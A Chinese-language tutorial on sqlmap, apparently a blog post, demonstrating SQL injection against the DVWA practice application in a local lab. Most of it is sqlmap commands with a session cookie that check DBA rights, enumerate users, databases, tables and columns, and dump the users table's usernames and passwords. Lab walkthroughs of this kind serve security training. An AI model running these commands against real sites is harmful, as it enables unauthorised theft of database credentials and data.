本文将以dvwa之SQL Injection为例,简单介绍sqlmap的使用方法,关于SQL注入的手动注入详细过程:
请看:https://blog.csdn.net/weixin_40950781/article/details/99712307
sqlmap -u url //判断
sqlmap -u url --is-dba -v //这是判断当前数据库的使用者是否是dba
sqlmap -u url --users -v 0 //这句的目的是列举数据库的用户
sqlmap -u url --passwords -v 0 //这句的目的是获取数据库用户的密码
sqlmap -u url --privileges -v 0 //这是判断当前的权限
sqlmap -u url --dbs -v 0 //这句的目的是将所有的数据库列出来
sqlmap -u url --tables -D '表' //爆表
sqlmap -u url --columns -T ‘表’-D ‘数据库’ //爆列
sqlmap -u url --dump -T '表' --start 1 --stop 4 -v 0 //这里是查询第2到第4行的内
sqlmap -u url --dump -all -v 0
=============================================================================================
sqlmap -u url --dbs //爆数据库
sqlmap -u url --current-db //爆当前库
sqlmap -u url --current-user //爆当前用户
sqlmap -u url --users //查看用户权限
sqlmap -u url --tables -D 数据库 //爆表段
sqlmap -u url --columns -T 表段 -D 数据库 //爆字段
sqlmap -u url --dump -C 字段 -T 表段 -D 数据库 //猜解
sqlmap -u url --dump --start=1 --stop=3 -C 字段 -T 表段 -D 数据库 //猜解1到3的字段
dvwa 加入了对cookie的验证,需要添加cookie信息,获取cookie可用bp抓包等
payload:sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4"
从返回信息可知,id字段存在四种类型的注入:Boolean-based blid(基于布尔型的盲注) 、 error-based (基于报错的盲注) 、 time-based blind (基于时间的盲注)、 UNION query(联合查询注入)
payload:sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4" --dbs
payload:sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4" --current-db
从返回信息可以看出:当前库为dvwa
payload:sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4" --users -v 0
payload:sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4" --current-user
从返回信息可以看出:当前用户为:root@localhost
payload:sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4" --is-dba -v
从返回信息可以看出:true 当前用户是dba
payload: sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4" --privileges -v 0
payload:sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4" --tables -D dvwa
从返回信息可以看到dvwa有两个表:users、guestbook
payload:sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4" --columns -T users -D dvwa
payload:sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4" --dump -C user -T users -D dvwa
返回信息:dvwa库的users表的user字段共有五个值,即五个用户
payload:sqlmap -u "http://192.168.15.164/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie="security=low; PHPSESSID=5filj450mk5a7mbke365ol4cb4" --dump --start=1 --stop=5 -C password -T users -D dvwa
从放回信息可以看出:password字段的值,即数据哭的密码